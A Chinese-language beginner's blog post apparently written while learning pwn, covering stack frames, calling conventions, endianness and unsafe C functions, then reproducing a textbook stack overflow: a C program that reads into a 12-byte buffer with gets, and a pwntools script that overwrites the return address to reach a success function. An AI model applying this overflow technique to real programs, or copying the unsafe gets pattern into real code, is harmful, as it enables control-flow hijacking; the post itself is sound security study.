第一次学习pwn----stackoverflow

因为是专业要求,还是好好学一下吧(学不好就去前端了哈哈哈哈哈

第一天接触的是最简单的栈溢出,根据ctf-wiki上的文章,去看了一下函数调用相关的内容,放一下链接,方便以后复习
c语言函数调用()一
c语言函数调用()二

关于里面总结了几点

  1. 栈帧结构

在x86中,被调函数的参数在返回函数的上面,而在x64,System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
利用call命令压栈保存返回地址,再压栈保存主调函数的原bp地址,之后根据需要保存寄存器中的值,然后是局部变量
第一次学习pwn----stackoverflow_第1张图片

2.函数序和函数跋

代表了调用函数和返回函数在汇编层面上的过程,看不懂汇编可以参考王爽的汇编原理(很快就能啃完)(话说是不是mov后有点顺序问题)

3.参数传入顺序

这里引申出了很多函数调用约定,有cdecl调用约定stdcall调用约定fastcall调用约定thiscall调用约定naked call调用约定,大部分情况下都是参数从右到左入栈,但配合栈的特点,莫名的对齐

4.大小端问题

将一个多位数的低位放在较小的地址处,高位放在较大的地址处,则称小端序;反之则称大端序,现在才弄清楚。最常见的还是小端吧,低对低,高对高,注意高位地位的概念(我是傻子吧)

然后进入pwn相关问题

关于栈溢出,就是利用了一些很危险的函数,这里直接粘贴复制列举一下

  • 输入

    • gets,直接读取一行,忽略'x00'
    • scanf
    • vscanf
  • 输出

    • sprintf
  • 字符串

    • strcpy,字符串复制,遇到'x00'停止
    • strcat,字符串拼接,遇到'x00'停止
    • bcopy

关闭了地址随机化后和金丝雀后,就直接利用栈溢出,覆盖返回地址就可以了,具体使用ida,直接看危险函数变量距离bp的距离然后填充,注意的是因为储存了主调函数的原bp需要多加一段。

下面是原程序
#include 
#include 
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}
exp为
##coding=utf8
from pwn import *
## create a object interacted with the app
sh = process('./stack_example')
success_addr = 0x0804843b
## crate the payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## send a string to the app
## sendline will append '/n' to the string
sh.sendline(payload)
## transform to interactive
sh.interactive()

以上

(小声bb 我的英语好烂 如果您不幸看到了这篇文章,有任何疑问欢迎提出一起交流,不要骂我,我只是个会写点页面的渣渣)

下一篇就是金丝雀了
明日继续(也许是今天晚上)

你可能感兴趣的:(安全ctf)